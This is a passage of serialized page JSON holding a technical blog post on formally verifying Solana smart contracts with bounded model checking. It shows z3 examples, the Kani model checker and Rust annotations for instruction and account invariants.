",{"type":22,"tag":264,"props":20917,"children":20918},{"style":4309},[20919],{"type":27,"value":9870},{"type":22,"tag":264,"props":20921,"children":20922},{"style":1539},[20923],{"type":27,"value":20395},{"type":22,"tag":264,"props":20925,"children":20926},{"style":4309},[20927],{"type":27,"value":673},{"type":22,"tag":264,"props":20929,"children":20930},{"style":4344},[20931],{"type":27,"value":20404},{"type":22,"tag":264,"props":20933,"children":20934},{"style":1539},[20935],{"type":27,"value":4463},{"type":22,"tag":264,"props":20937,"children":20938},{"class":1534,"line":1642},[20939,20943,20947,20951],{"type":22,"tag":264,"props":20940,"children":20941},{"style":1539},[20942],{"type":27,"value":20915},{"type":22,"tag":264,"props":20944,"children":20945},{"style":4309},[20946],{"type":27,"value":11760},{"type":22,"tag":264,"props":20948,"children":20949},{"style":4344},[20950],{"type":27,"value":20441},{"type":22,"tag":264,"props":20952,"children":20953},{"style":1539},[20954],{"type":27,"value":4463},{"type":22,"tag":264,"props":20956,"children":20957},{"class":1534,"line":1660},[20958,20963,20967,20971,20975,20979],{"type":22,"tag":264,"props":20959,"children":20960},{"style":1539},[20961],{"type":27,"value":20962},"s.add(z ",{"type":22,"tag":264,"props":20964,"children":20965},{"style":4309},[20966],{"type":27,"value":9870},{"type":22,"tag":264,"props":20968,"children":20969},{"style":1539},[20970],{"type":27,"value":5808},{"type":22,"tag":264,"props":20972,"children":20973},{"style":4309},[20974],{"type":27,"value":5865},{"type":22,"tag":264,"props":20976,"children":20977},{"style":4344},[20978],{"type":27,"value":9228},{"type":22,"tag":264,"props":20980,"children":20981},{"style":1539},[20982],{"type":27,"value":4463},{"type":22,"tag":264,"props":20984,"children":20985},{"class":1534,"line":1668},[20986],{"type":22,"tag":264,"props":20987,"children":20988},{"emptyLinePlaceholder":17},[20989],{"type":27,"value":4986},{"type":22,"tag":264,"props":20991,"children":20992},{"class":1534,"line":1677},[20993],{"type":22,"tag":264,"props":20994,"children":20995},{"style":4284},[20996],{"type":27,"value":20997},"# check if we can violate the correctness property\n",{"type":22,"tag":264,"props":20999,"children":21000},{"class":1534,"line":1686},[21001,21006,21010,21014],{"type":22,"tag":264,"props":21002,"children":21003},{"style":1539},[21004],{"type":27,"value":21005},"s.add(Not(z ",{"type":22,"tag":264,"props":21007,"children":21008},{"style":4309},[21009],{"type":27,"value":16988},{"type":22,"tag":264,"props":21011,"children":21012},{"style":4344},[21013],{"type":27,"value":20559},{"type":22,"tag":264,"props":21015,"children":21016},{"style":1539},[21017],{"type":27,"value":21018},"))\n",{"type":22,"tag":264,"props":21020,"children":21021},{"class":1534,"line":4948},[21022,21027,21032],{"type":22,"tag":264,"props":21023,"children":21024},{"style":4401},[21025],{"type":27,"value":21026},"print",{"type":22,"tag":264,"props":21028,"children":21029},{"style":1539},[21030],{"type":27,"value":21031},"(s.check()) ",{"type":22,"tag":264,"props":21033,"children":21034},{"style":4284},[21035],{"type":27,"value":21036},"# \"unsat\"\n",{"type":22,"tag":264,"props":21038,"children":21039},{"class":1534,"line":4957},[21040],{"type":22,"tag":264,"props":21041,"children":21042},{"emptyLinePlaceholder":17},[21043],{"type":27,"value":4986},{"type":22,"tag":264,"props":21045,"children":21046},{"class":1534,"line":4980},[21047],{"type":22,"tag":264,"props":21048,"children":21049},{"style":4284},[21050],{"type":27,"value":21051},"# Negative branch:\n",{"type":22,"tag":264,"props":21053,"children":21054},{"class":1534,"line":4989},[21055,21059,21063],{"type":22,"tag":264,"props":21056,"children":21057},{"style":1539},[21058],{"type":27,"value":20898},{"type":22,"tag":264,"props":21060,"children":21061},{"style":4309},[21062],{"type":27,"value":429},{"type":22,"tag":264,"props":21064,"children":21065},{"style":1539},[21066],{"type":27,"value":20907},{"type":22,"tag":264,"props":21068,"children":21069},{"class":1534,"line":4998},[21070,21074,21078,21082,21086,21090],{"type":22,"tag":264,"props":21071,"children":21072},{"style":1539},[21073],{"type":27,"value":20915},{"type":22,"tag":264,"props":21075,"children":21076},{"style":4309},[21077],{"type":27,"value":9870},{"type":22,"tag":264,"props":21079,"children":21080},{"style":1539},[21081],{"type":27,"value":20395},{"type":22,"tag":264,"props":21083,"children":21084},{"style":4309},[21085],{"type":27,"value":673},{"type":22,"tag":264,"props":21087,"children":21088},{"style":4344},[21089],{"type":27,"value":20404},{"type":22,"tag":264,"props":21091,"children":21092},{"style":1539},[21093],{"type":27,"value":4463},{"type":22,"tag":264,"props":21095,"children":21096},{"class":1534,"line":5067},[21097,21101,21105,21109],{"type":22,"tag":264,"props":21098,"children":21099},{"style":1539},[21100],{"type":27,"value":20915},{"type":22,"tag":264,"props":21102,"children":21103},{"style":4309},[21104],{"type":27,"value":20720},{"type":22,"tag":264,"props":21106,"children":21107},{"style":4344},[21108],{"type":27,"value":20441},{"type":22,"tag":264,"props":21110,"children":21111},{"style":1539},[21112],{"type":27,"value":4463},{"type":22,"tag":264,"props":21114,"children":21115},{"class":1534,"line":5075},[21116,21120,21124,21128,21132,21136],{"type":22,"tag":264,"props":21117,"children":21118},{"style":1539},[21119],{"type":27,"value":20962},{"type":22,"tag":264,"props":21121,"children":21122},{"style":4309},[21123],{"type":27,"value":9870},{"type":22,"tag":264,"props":21125,"children":21126},{"style":1539},[21127],{"type":27,"value":5808},{"type":22,"tag":264,"props":21129,"children":21130},{"style":4309},[21131],{"type":27,"value":673},{"type":22,"tag":264,"props":21133,"children":21134},{"style":4344},[21135],{"type":27,"value":5817},{"type":22,"tag":264,"props":21137,"children":21138},{"style":1539},[21139],{"type":27,"value":4463},{"type":22,"tag":264,"props":21141,"children":21142},{"class":1534,"line":5105},[21143],{"type":22,"tag":264,"props":21144,"children":21145},{"emptyLinePlaceholder":17},[21146],{"type":27,"value":4986},{"type":22,"tag":264,"props":21148,"children":21149},{"class":1534,"line":5113},[21150],{"type":22,"tag":264,"props":21151,"children":21152},{"style":4284},[21153],{"type":27,"value":20997},{"type":22,"tag":264,"props":21155,"children":21156},{"class":1534,"line":5145},[21157,21161,21165,21169],{"type":22,"tag":264,"props":21158,"children":21159},{"style":1539},[21160],{"type":27,"value":21005},{"type":22,"tag":264,"props":21162,"children":21163},{"style":4309},[21164],{"type":27,"value":16988},{"type":22,"tag":264,"props":21166,"children":21167},{"style":4344},[21168],{"type":27,"value":20559},{"type":22,"tag":264,"props":21170,"children":21171},{"style":1539},[21172],{"type":27,"value":21018},{"type":22,"tag":264,"props":21174,"children":21175},{"class":1534,"line":5153},[21176,21180,21184],{"type":22,"tag":264,"props":21177,"children":21178},{"style":4401},[21179],{"type":27,"value":21026},{"type":22,"tag":264,"props":21181,"children":21182},{"style":1539},[21183],{"type":27,"value":21031},{"type":22,"tag":264,"props":21185,"children":21186},{"style":4284},[21187],{"type":27,"value":21036},{"type":22,"tag":23,"props":21189,"children":21190},{},[21191,21193,21199,21201,21206],{"type":27,"value":21192},"Both of these cases return ",{"type":22,"tag":257,"props":21194,"children":21196},{"className":21195},[],[21197],{"type":27,"value":21198},"unsat",{"type":27,"value":21200}," meaning z3 could not find a way to violate the correctness property, hence our program is ",{"type":22,"tag":1699,"props":21202,"children":21203},{},[21204],{"type":27,"value":21205},"correct",{"type":27,"value":21207}," according to this property.",{"type":22,"tag":181,"props":21209,"children":21211},{"id":21210},"loop-bounds-path-explosion",[21212],{"type":27,"value":21213},"Loop bounds & path explosion",{"type":22,"tag":23,"props":21215,"children":21216},{},[21217,21219,21224,21226,21231],{"type":27,"value":21218},"As you may have noticed, BMC requires us to take ",{"type":22,"tag":1699,"props":21220,"children":21221},{},[21222],{"type":27,"value":21223},"every",{"type":27,"value":21225}," branch in the program. To be sure that our property holds, we need to check every possible route through the program. If we have 10 branches in a row we might need to test 2^10 paths! And if our program has loops, we may need to check an ",{"type":22,"tag":1699,"props":21227,"children":21228},{},[21229],{"type":27,"value":21230},"infinite",{"type":27,"value":21232}," number of paths because the loop branches backward. This might take a while...",{"type":22,"tag":23,"props":21234,"children":21235},{},[21236],{"type":27,"value":21237},"This is where the \"bounded\" part of \"bounded model checking\" applies. Rather than unroll an infinite number of loops, we can set a loop bound and also verify that it is not possible to loop more than the loop bound.",{"type":22,"tag":23,"props":21239,"children":21240},{},[21241],{"type":27,"value":21242},"While this technique of bounding loops makes the problem tractable. It is still expensive to run BMC on very large programs due to the problem of path explosion. As our program gets larger, the number of possible paths scales potentially exponentially.",{"type":22,"tag":23,"props":21244,"children":21245},{},[21246],{"type":27,"value":21247},"One of the main challenges we will discuss later is how to address this problem of path explosion in the context of Solana Rust programs.",{"type":22,"tag":181,"props":21249,"children":21251},{"id":21250},"kani-model-checker",[21252],{"type":27,"value":21253},"Kani Model Checker",{"type":22,"tag":23,"props":21255,"children":21256},{},[21257,21259,21264],{"type":27,"value":21258},"For our research with formally verifying Solana programs, we are using the ",{"type":22,"tag":69,"props":21260,"children":21262},{"href":20151,"rel":21261},[73],[21263],{"type":27,"value":20155},{"type":27,"value":21265},": an open-source, bit-precise model checker for Rust created at AWS. Under the hood, Kani uses the C Bounded Model Checker (CBMC) to do the heavy lifting.",{"type":22,"tag":23,"props":21267,"children":21268},{},[21269,21271,21276,21278,21284,21285,21291,21293,21299],{"type":27,"value":21270},"Kani allows you to write ",{"type":22,"tag":1699,"props":21272,"children":21273},{},[21274],{"type":27,"value":21275},"proof harnesses",{"type":27,"value":21277}," which can invoke Rust functions with symbolic values. These harnesses can ",{"type":22,"tag":257,"props":21279,"children":21281},{"className":21280},[],[21282],{"type":27,"value":21283},"assume",{"type":27,"value":12290},{"type":22,"tag":257,"props":21286,"children":21288},{"className":21287},[],[21289],{"type":27,"value":21290},"assert",{"type":27,"value":21292}," certain conditions about these symbolic values and then you can verify that a proof harness holds via the ",{"type":22,"tag":257,"props":21294,"children":21296},{"className":21295},[],[21297],{"type":27,"value":21298},"cargo kani",{"type":27,"value":21300}," tool (which compiles your proof harness and runs BMC).",{"type":22,"tag":169,"props":21302,"children":21304},{"id":21303},"specification-how-can-we-describe-what-we-want-our-program-to-do",[21305,21307,21311],{"type":27,"value":21306},"Specification: How can we describe what we ",{"type":22,"tag":1699,"props":21308,"children":21309},{},[21310],{"type":27,"value":20225},{"type":27,"value":20227},{"type":22,"tag":23,"props":21313,"children":21314},{},[21315],{"type":22,"tag":1699,"props":21316,"children":21317},{},[21318],{"type":22,"tag":242,"props":21319,"children":21320},{},[21321],{"type":27,"value":21322},"And what even do we want it to do?",{"type":22,"tag":23,"props":21324,"children":21325},{},[21326,21328,21333],{"type":27,"value":21327},"A fundamental challenge with any formal verification framework is ",{"type":22,"tag":1699,"props":21329,"children":21330},{},[21331],{"type":27,"value":21332},"specifying",{"type":27,"value":21334}," what the \"correct\" behavior should be.",{"type":22,"tag":23,"props":21336,"children":21337},{},[21338],{"type":27,"value":21339},"In natural language, we can describe a few good properties for example Solana programs:",{"type":22,"tag":17988,"props":21341,"children":21342},{},[21343,21355,21367],{"type":22,"tag":1871,"props":21344,"children":21345},{},[21346,21348,21353],{"type":27,"value":21347},"\"It should not be possible to ",{"type":22,"tag":242,"props":21349,"children":21350},{},[21351],{"type":27,"value":21352},"steal money",{"type":27,"value":21354}," via a swap program\"",{"type":22,"tag":1871,"props":21356,"children":21357},{},[21358,21360,21365],{"type":27,"value":21359},"\"A multisig should never get into a state where you ",{"type":22,"tag":242,"props":21361,"children":21362},{},[21363],{"type":27,"value":21364},"can't sign anything",{"type":27,"value":21366},"\"",{"type":22,"tag":1871,"props":21368,"children":21369},{},[21370],{"type":27,"value":21371},"\"User funds in a staking protocol \"",{"type":22,"tag":23,"props":21373,"children":21374},{},[21375,21377,21387,21389,21394],{"type":27,"value":21376},"These are types of properties you can tell your ",{"type":22,"tag":69,"props":21378,"children":21381},{"href":21379,"rel":21380},"https://osec.io/",[73],[21382],{"type":22,"tag":1699,"props":21383,"children":21384},{},[21385],{"type":27,"value":21386},"human auditors",{"type":27,"value":21388}," but these English phrases are not particularly useful for ",{"type":22,"tag":1699,"props":21390,"children":21391},{},[21392],{"type":27,"value":21393},"automated verification techniques",{"type":27,"value":21395}," (at least until our AI overlords surpass human intelligence).",{"type":22,"tag":23,"props":21397,"children":21398},{},[21399,21401,21406,21408,21413],{"type":27,"value":21400},"Instead, we need to be able to specify ",{"type":22,"tag":1699,"props":21402,"children":21403},{},[21404],{"type":27,"value":21405},"in code",{"type":27,"value":21407}," what properties we want to check. Ideally, we could define invariants that fit nicely into something like an ",{"type":22,"tag":257,"props":21409,"children":21411},{"className":21410},[],[21412],{"type":27,"value":21290},{"type":27,"value":21414}," statement.",{"type":22,"tag":181,"props":21416,"children":21418},{"id":21417},"solana-invariants",[21419],{"type":27,"value":21420},"Solana Invariants",{"type":22,"tag":23,"props":21422,"children":21423},{},[21424,21426,21431,21432,21437],{"type":27,"value":21425},"In the context of Solana programs we define two different types of properties that we would like to verify: ",{"type":22,"tag":242,"props":21427,"children":21428},{},[21429],{"type":27,"value":21430},"instruction invariants",{"type":27,"value":12290},{"type":22,"tag":242,"props":21433,"children":21434},{},[21435],{"type":27,"value":21436},"account invariants",{"type":27,"value":210},{"type":22,"tag":20197,"props":21439,"children":21441},{"id":21440},"instruction-invariant",[21442],{"type":27,"value":21443},"Instruction Invariant",{"type":22,"tag":23,"props":21445,"children":21446},{},[21447,21449,21454,21456,21462,21463,21469],{"type":27,"value":21448},"An ",{"type":22,"tag":242,"props":21450,"children":21451},{},[21452],{"type":27,"value":21453},"instruction invariant",{"type":27,"value":21455}," specifies sufficient conditions for an instruction to succeed (or fail). These are specified as ",{"type":22,"tag":257,"props":21457,"children":21459},{"className":21458},[],[21460],{"type":27,"value":21461},"succeeds_if",{"type":27,"value":14432},{"type":22,"tag":257,"props":21464,"children":21466},{"className":21465},[],[21467],{"type":27,"value":21468},"errors_if",{"type":27,"value":21470}," macro annotations on the instruction handler.",{"type":22,"tag":23,"props":21472,"children":21473},{},[21474],{"type":27,"value":21475},"In Solana, when an instruction fails, the entire transaction is reverted. Failing an instruction on purpose is commonly used as a form of access control; invalid accounts, bad state, etc... will cause an instruction to fail and get reverted.",{"type":22,"tag":23,"props":21477,"children":21478},{},[21479,21481,21487,21489,21494],{"type":27,"value":21480},"For example, say we have a ",{"type":22,"tag":257,"props":21482,"children":21484},{"className":21483},[],[21485],{"type":27,"value":21486},"Withdraw",{"type":27,"value":21488}," instruction that lets a user withdraw some tokens. A security critical property we may want to verify is that the user cannot withdraw ",{"type":22,"tag":1699,"props":21490,"children":21491},{},[21492],{"type":27,"value":21493},"more",{"type":27,"value":21495}," tokens than their current balance.",{"type":22,"tag":23,"props":21497,"children":21498},{},[21499,21501,21506],{"type":27,"value":21500},"Using our tool, you could specify the following ",{"type":22,"tag":257,"props":21502,"children":21504},{"className":21503},[],[21505],{"type":27,"value":21468},{"type":27,"value":21507}," property on your instruction handler:",{"type":22,"tag":618,"props":21509,"children":21511},{"code":21510,"language":4273,"meta":7,"className":4274,"style":7},"#[errors_if(\n    ctx.user.balance \u003C amount\n)]\nfn withdraw(ctx: Context\u003CWithdraw>, amount: u64) -> Result\u003C()> {\n    ...\n}\n",[21512],{"type":22,"tag":257,"props":21513,"children":21514},{"__ignoreMap":7},[21515,21523,21558,21566,21639,21647],{"type":22,"tag":264,"props":21516,"children":21517},{"class":1534,"line":1535},[21518],{"type":22,"tag":264,"props":21519,"children":21520},{"style":1539},[21521],{"type":27,"value":21522},"#[errors_if(\n",{"type":22,"tag":264,"props":21524,"children":21525},{"class":1534,"line":1545},[21526,21531,21535,21540,21544,21549,21553],{"type":22,"tag":264,"props":21527,"children":21528},{"style":1539},[21529],{"type":27,"value":21530},"    ctx",{"type":22,"tag":264,"props":21532,"children":21533},{"style":4309},[21534],{"type":27,"value":210},{"type":22,"tag":264,"props":21536,"children":21537},{"style":1539},[21538],{"type":27,"value":21539},"user",{"type":22,"tag":264,"props":21541,"children":21542},{"style":4309},[21543],{"type":27,"value":210},{"type":22,"tag":264,"props":21545,"children":21546},{"style":1539},[21547],{"type":27,"value":21548},"balance ",{"type":22,"tag":264,"props":21550,"children":21551},{"style":4309},[21552],{"type":27,"value":7097},{"type":22,"tag":264,"props":21554,"children":21555},{"style":1539},[21556],{"type":27,"value":21557}," amount\n",{"type":22,"tag":264,"props":21559,"children":21560},{"class":1534,"line":1560},[21561],{"type":22,"tag":264,"props":21562,"children":21563},{"style":1539},[21564],{"type":27,"value":21565},")]\n",{"type":22,"tag":264,"props":21567,"children":21568},{"class":1534,"line":1569},[21569,21574,21579,21583,21588,21592,21597,21601,21605,21609,21614,21618,21622,21626,21630,21634],{"type":22,"tag":264,"props":21570,"children":21571},{"style":4293},[21572],{"type":27,"value":21573},"fn",{"type":22,"tag":264,"props":21575,"children":21576},{"style":4401},[21577],{"type":27,"value":21578}," withdraw",{"type":22,"tag":264,"props":21580,"children":21581},{"style":1539},[21582],{"type":27,"value":2660},{"type":22,"tag":264,"props":21584,"children":21585},{"style":1549},[21586],{"type":27,"value":21587},"ctx",{"type":22,"tag":264,"props":21589,"children":21590},{"style":4309},[21591],{"type":27,"value":5785},{"type":22,"tag":264,"props":21593,"children":21594},{"style":4722},[21595],{"type":27,"value":21596}," Context",{"type":22,"tag":264,"props":21598,"children":21599},{"style":1539},[21600],{"type":27,"value":7097},{"type":22,"tag":264,"props":21602,"children":21603},{"style":4722},[21604],{"type":27,"value":21486},{"type":22,"tag":264,"props":21606,"children":21607},{"style":1539},[21608],{"type":27,"value":7923},{"type":22,"tag":264,"props":21610,"children":21611},{"style":1549},[21612],{"type":27,"value":21613},"amount",{"type":22,"tag":264,"props":21615,"children":21616},{"style":4309},[21617],{"type":27,"value":5785},{"type":22,"tag":264,"props":21619,"children":21620},{"style":4722},[21621],{"type":27,"value":7151},{"type":22,"tag":264,"props":21623,"children":21624},{"style":1539},[21625],{"type":27,"value":4390},{"type":22,"tag":264,"props":21627,"children":21628},{"style":4309},[21629],{"type":27,"value":15056},{"type":22,"tag":264,"props":21631,"children":21632},{"style":4722},[21633],{"type":27,"value":15061},{"type":22,"tag":264,"props":21635,"children":21636},{"style":1539},[21637],{"type":27,"value":21638},"\u003C()> {\n",{"type":22,"tag":264,"props":21640,"children":21641},{"class":1534,"line":1583},[21642],{"type":22,"tag":264,"props":21643,"children":21644},{"style":4309},[21645],{"type":27,"value":21646},"    ...\n",{"type":22,"tag":264,"props":21648,"children":21649},{"class":1534,"line":1603},[21650],{"type":22,"tag":264,"props":21651,"children":21652},{"style":1539},[21653],{"type":27,"value":1692},{"type":22,"tag":4226,"props":21655,"children":21656},{},[21657],{"type":22,"tag":23,"props":21658,"children":21659},{},[21660,21661,21666,21668,21673,21675,21680],{"type":27,"value":17914},{"type":22,"tag":257,"props":21662,"children":21664},{"className":21663},[],[21665],{"type":27,"value":21468},{"type":27,"value":21667}," expression specifies ",{"type":22,"tag":1699,"props":21669,"children":21670},{},[21671],{"type":27,"value":21672},"succifient",{"type":27,"value":21674}," but not ",{"type":22,"tag":1699,"props":21676,"children":21677},{},[21678],{"type":27,"value":21679},"necessary",{"type":27,"value":21681}," conditions for an instruction to fail. I.e. it imposes a strong lower bound on what the requirements are for an instruction to fail.",{"type":22,"tag":20097,"props":21683,"children":21684},{},[],{"type":22,"tag":23,"props":21686,"children":21687},{},[21688,21690,21695],{"type":27,"value":21689},"Another example is that for ",{"type":22,"tag":1699,"props":21691,"children":21692},{},[21693],{"type":27,"value":21694},"crank",{"type":27,"value":21696}," functions — run by unauthenticated users to advance the state of the system, you may want to prove that they never fail. In that case, you could specify an invariant like the following:",{"type":22,"tag":618,"props":21698,"children":21700},{"code":21699,"language":4273,"meta":7,"className":4274,"style":7},"#[succeeds_if(true)]\nfn my_crank(ctx: Context\u003CCrank>) -> Result\u003C()> {\n    ...\n}\n",[21701],{"type":22,"tag":257,"props":21702,"children":21703},{"__ignoreMap":7},[21704,21712,21766,21773],{"type":22,"tag":264,"props":21705,"children":21706},{"class":1534,"line":1535},[21707],{"type":22,"tag":264,"props":21708,"children":21709},{"style":1539},[21710],{"type":27,"value":21711},"#[succeeds_if(true)]\n",{"type":22,"tag":264,"props":21713,"children":21714},{"class":1534,"line":1545},[21715,21719,21724,21728,21732,21736,21740,21744,21749,21754,21758,21762],{"type":22,"tag":264,"props":21716,"children":21717},{"style":4293},[21718],{"type":27,"value":21573},{"type":22,"tag":264,"props":21720,"children":21721},{"style":4401},[21722],{"type":27,"value":21723}," my_crank",{"type":22,"tag":264,"props":21725,"children":21726},{"style":1539},[21727],{"type":27,"value":2660},{"type":22,"tag":264,"props":21729,"children":21730},{"style":1549},[21731],{"type":27,"value":21587},{"type":22,"tag":264,"props":21733,"children":21734},{"style":4309},[21735],{"type":27,"value":5785},{"type":22,"tag":264,"props":21737,"children":21738},{"style":4722},[21739],{"type":27,"value":21596},{"type":22,"tag":264,"props":21741,"children":21742},{"style":1539},[21743],{"type":27,"value":7097},{"type":22,"tag":264,"props":21745,"children":21746},{"style":4722},[21747],{"type":27,"value":21748},"Crank",{"type":22,"tag":264,"props":21750,"children":21751},{"style":1539},[21752],{"type":27,"value":21753},">) ",{"type":22,"tag":264,"props":21755,"children":21756},{"style":4309},[21757],{"type":27,"value":15056},{"type":22,"tag":264,"props":21759,"children":21760},{"style":4722},[21761],{"type":27,"value":15061},{"type":22,"tag":264,"props":21763,"children":21764},{"style":1539},[21765],{"type":27,"value":21638},{"type":22,"tag":264,"props":21767,"children":21768},{"class":1534,"line":1560},[21769],{"type":22,"tag":264,"props":21770,"children":21771},{"style":4309},[21772],{"type":27,"value":21646},{"type":22,"tag":264,"props":21774,"children":21775},{"class":1534,"line":1569},[21776],{"type":22,"tag":264,"props":21777,"children":21778},{"style":1539},[21779],{"type":27,"value":1692},{"type":22,"tag":23,"props":21781,"children":21782},{},[21783,21785,21789,21791,21797],{"type":27,"value":21784},"With this invariant, you could prove that the function ",{"type":22,"tag":1699,"props":21786,"children":21787},{},[21788],{"type":27,"value":14392},{"type":27,"value":21790}," returns ",{"type":22,"tag":257,"props":21792,"children":21794},{"className":21793},[],[21795],{"type":27,"value":21796},"Ok",{"type":27,"value":21798},". This type of construction could help avoid possible denial of service attacks if a crank could get \"stuck.\"",{"type":22,"tag":20097,"props":21800,"children":21801},{},[],{"type":22,"tag":23,"props":21803,"children":21804},{},[21805,21807,21812,21813,21818,21820,21825,21827,21832,21834,21839],{"type":27,"value":21806},"Note that ",{"type":22,"tag":257,"props":21808,"children":21810},{"className":21809},[],[21811],{"type":27,"value":21461},{"type":27,"value":12290},{"type":22,"tag":257,"props":21814,"children":21816},{"className":21815},[],[21817],{"type":27,"value":21468},{"type":27,"value":21819}," are both implications and not biconditionals. That is, a function may succeed even if ",{"type":22,"tag":257,"props":21821,"children":21823},{"className":21822},[],[21824],{"type":27,"value":21461},{"type":27,"value":21826}," is not satisfied and a function may fail even if ",{"type":22,"tag":257,"props":21828,"children":21830},{"className":21829},[],[21831],{"type":27,"value":21468},{"type":27,"value":21833}," is not satisfied. If you want to prove the ",{"type":22,"tag":1699,"props":21835,"children":21836},{},[21837],{"type":27,"value":21838},"exact condition",{"type":27,"value":21840}," required for an instruction to succeed, you could use a form like the following:",{"type":22,"tag":618,"props":21842,"children":21844},{"code":21843,"language":4273,"meta":7,"className":4274,"style":7},"fn my_invariant(...) -> bool { ... }\n\n#[succeeds_if(my_invariant(...))]\n#[errors_if(!my_invariant(...))]\nfn my_instruction(ctx: Context\u003C...>) -> Result\u003C()> {\n    ...\n}\n",[21845],{"type":22,"tag":257,"props":21846,"children":21847},{"__ignoreMap":7},[21848,21892,21899,21916,21942,21994,22001],{"type":22,"tag":264,"props":21849,"children":21850},{"class":1534,"line":1535},[21851,21855,21860,21864,21868,21872,21876,21880,21884,21888],{"type":22,"tag":264,"props":21852,"children":21853},{"style":4293},[21854],{"type":27,"value":21573},{"type":22,"tag":264,"props":21856,"children":21857},{"style":4401},[21858],{"type":27,"value":21859}," my_invariant",{"type":22,"tag":264,"props":21861,"children":21862},{"style":1539},[21863],{"type":27,"value":2660},{"type":22,"tag":264,"props":21865,"children":21866},{"style":4309},[21867],{"type":27,"value":10889},{"type":22,"tag":264,"props":21869,"children":21870},{"style":1539},[21871],{"type":27,"value":4390},{"type":22,"tag":264,"props":21873,"children":21874},{"style":4309},[21875],{"type":27,"value":15056},{"type":22,"tag":264,"props":21877,"children":21878},{"style":4722},[21879],{"type":27,"value":13349},{"type":22,"tag":264,"props":21881,"children":21882},{"style":1539},[21883],{"type":27,"value":10884},{"type":22,"tag":264,"props":21885,"children":21886},{"style":4309},[21887],{"type":27,"value":10889},{"type":22,"tag":264,"props":21889,"children":21890},{"style":1539},[21891],{"type":27,"value":10894},{"type":22,"tag":264,"props":21893,"children":21894},{"class":1534,"line":1545},[21895],{"type":22,"tag":264,"props":21896,"children":21897},{"emptyLinePlaceholder":17},[21898],{"type":27,"value":4986},{"type":22,"tag":264,"props":21900,"children":21901},{"class":1534,"line":1560},[21902,21907,21911],{"type":22,"tag":264,"props":21903,"children":21904},{"style":1539},[21905],{"type":27,"value":21906},"#[succeeds_if(my_invariant(",{"type":22,"tag":264,"props":21908,"children":21909},{"style":4309},[21910],{"type":27,"value":10889},{"type":22,"tag":264,"props":21912,"children":21913},{"style":1539},[21914],{"type":27,"value":21915},"))]\n",{"type":22,"tag":264,"props":21917,"children":21918},{"class":1534,"line":1569},[21919,21924,21929,21934,21938],{"type":22,"tag":264,"props":21920,"children":21921},{"style":1539},[21922],{"type":27,"value":21923},"#[errors_if(",{"type":22,"tag":264,"props":21925,"children":21926},{"style":4309},[21927],{"type":27,"value":21928},"!",{"type":22,"tag":264,"props":21930,"children":21931},{"style":1539},[21932],{"type":27,"value":21933},"my_invariant(",{"type":22,"tag":264,"props":21935,"children":21936},{"style":4309},[21937],{"type":27,"value":10889},{"type":22,"tag":264,"props":21939,"children":21940},{"style":1539},[21941],{"type":27,"value":21915},{"type":22,"tag":264,"props":21943,"children":21944},{"class":1534,"line":1583},[21945,21949,21954,21958,21962,21966,21970,21974,21978,21982,21986,21990],{"type":22,"tag":264,"props":21946,"children":21947},{"style":4293},[21948],{"type":27,"value":21573},{"type":22,"tag":264,"props":21950,"children":21951},{"style":4401},[21952],{"type":27,"value":21953}," my_instruction",{"type":22,"tag":264,"props":21955,"children":21956},{"style":1539},[21957],{"type":27,"value":2660},{"type":22,"tag":264,"props":21959,"children":21960},{"style":1549},[21961],{"type":27,"value":21587},{"type":22,"tag":264,"props":21963,"children":21964},{"style":4309},[21965],{"type":27,"value":5785},{"type":22,"tag":264,"props":21967,"children":21968},{"style":4722},[21969],{"type":27,"value":21596},{"type":22,"tag":264,"props":21971,"children":21972},{"style":1539},[21973],{"type":27,"value":7097},{"type":22,"tag":264,"props":21975,"children":21976},{"style":4309},[21977],{"type":27,"value":10889},{"type":22,"tag":264,"props":21979,"children":21980},{"style":1539},[21981],{"type":27,"value":21753},{"type":22,"tag":264,"props":21983,"children":21984},{"style":4309},[21985],{"type":27,"value":15056},{"type":22,"tag":264,"props":21987,"children":21988},{"style":4722},[21989],{"type":27,"value":15061},{"type":22,"tag":264,"props":21991,"children":21992},{"style":1539},[21993],{"type":27,"value":21638},{"type":22,"tag":264,"props":21995,"children":21996},{"class":1534,"line":1603},[21997],{"type":22,"tag":264,"props":21998,"children":21999},{"style":4309},[22000],{"type":27,"value":21646},{"type":22,"tag":264,"props":22002,"children":22003},{"class":1534,"line":1612},[22004],{"type":22,"tag":264,"props":22005,"children":22006},{"style":1539},[22007],{"type":27,"value":1692},{"type":22,"tag":23,"props":22009,"children":22010},{},[22011],{"type":27,"value":22012},"Note that in practice, it is usually not necessary (or useful) to find the exact condition; rather we can achieve the security properties we want purely by proving upper and lower bounds on instruction success.",{"type":22,"tag":20197,"props":22014,"children":22016},{"id":22015},"account-invariants",[22017],{"type":27,"value":22018},"Account Invariants",{"type":22,"tag":23,"props":22020,"children":22021},{},[22022,22024,22029],{"type":27,"value":22023},"The other type of invariant is an ",{"type":22,"tag":242,"props":22025,"children":22026},{},[22027],{"type":27,"value":22028},"Account Invariant",{"type":27,"value":22030},". This invariant describes some property of an account that should always hold.",{"type":22,"tag":23,"props":22032,"children":22033},{},[22034,22036,22041,22042,22048],{"type":27,"value":22035},"In our tool, we verify that the account invariant holds after every instruction that could modify the account data (i.e. if the account is ",{"type":22,"tag":257,"props":22037,"children":22039},{"className":22038},[],[22040],{"type":27,"value":5035},{"type":27,"value":14432},{"type":22,"tag":257,"props":22043,"children":22045},{"className":22044},[],[22046],{"type":27,"value":22047},"init",{"type":27,"value":22049},").",{"type":22,"tag":23,"props":22051,"children":22052},{},[22053,22055,22061],{"type":27,"value":22054},"For example, given a mock ",{"type":22,"tag":257,"props":22056,"children":22058},{"className":22057},[],[22059],{"type":27,"value":22060},"UserStatement",{"type":27,"value":22062}," account that represents how much a user owns and owes, we could write an invariant that asserts that the net balance is positive:",{"type":22,"tag":618,"props":22064,"children":22066},{"code":22065,"language":4273,"meta":7,"className":4274,"style":7},"#[account]\n#[invariant(\n    self.assets >= self.liabilities\n)]\nstruct UserStatement {\n    pub owner: Pubkey,\n    pub assets: u64,\n    pub liabilities: 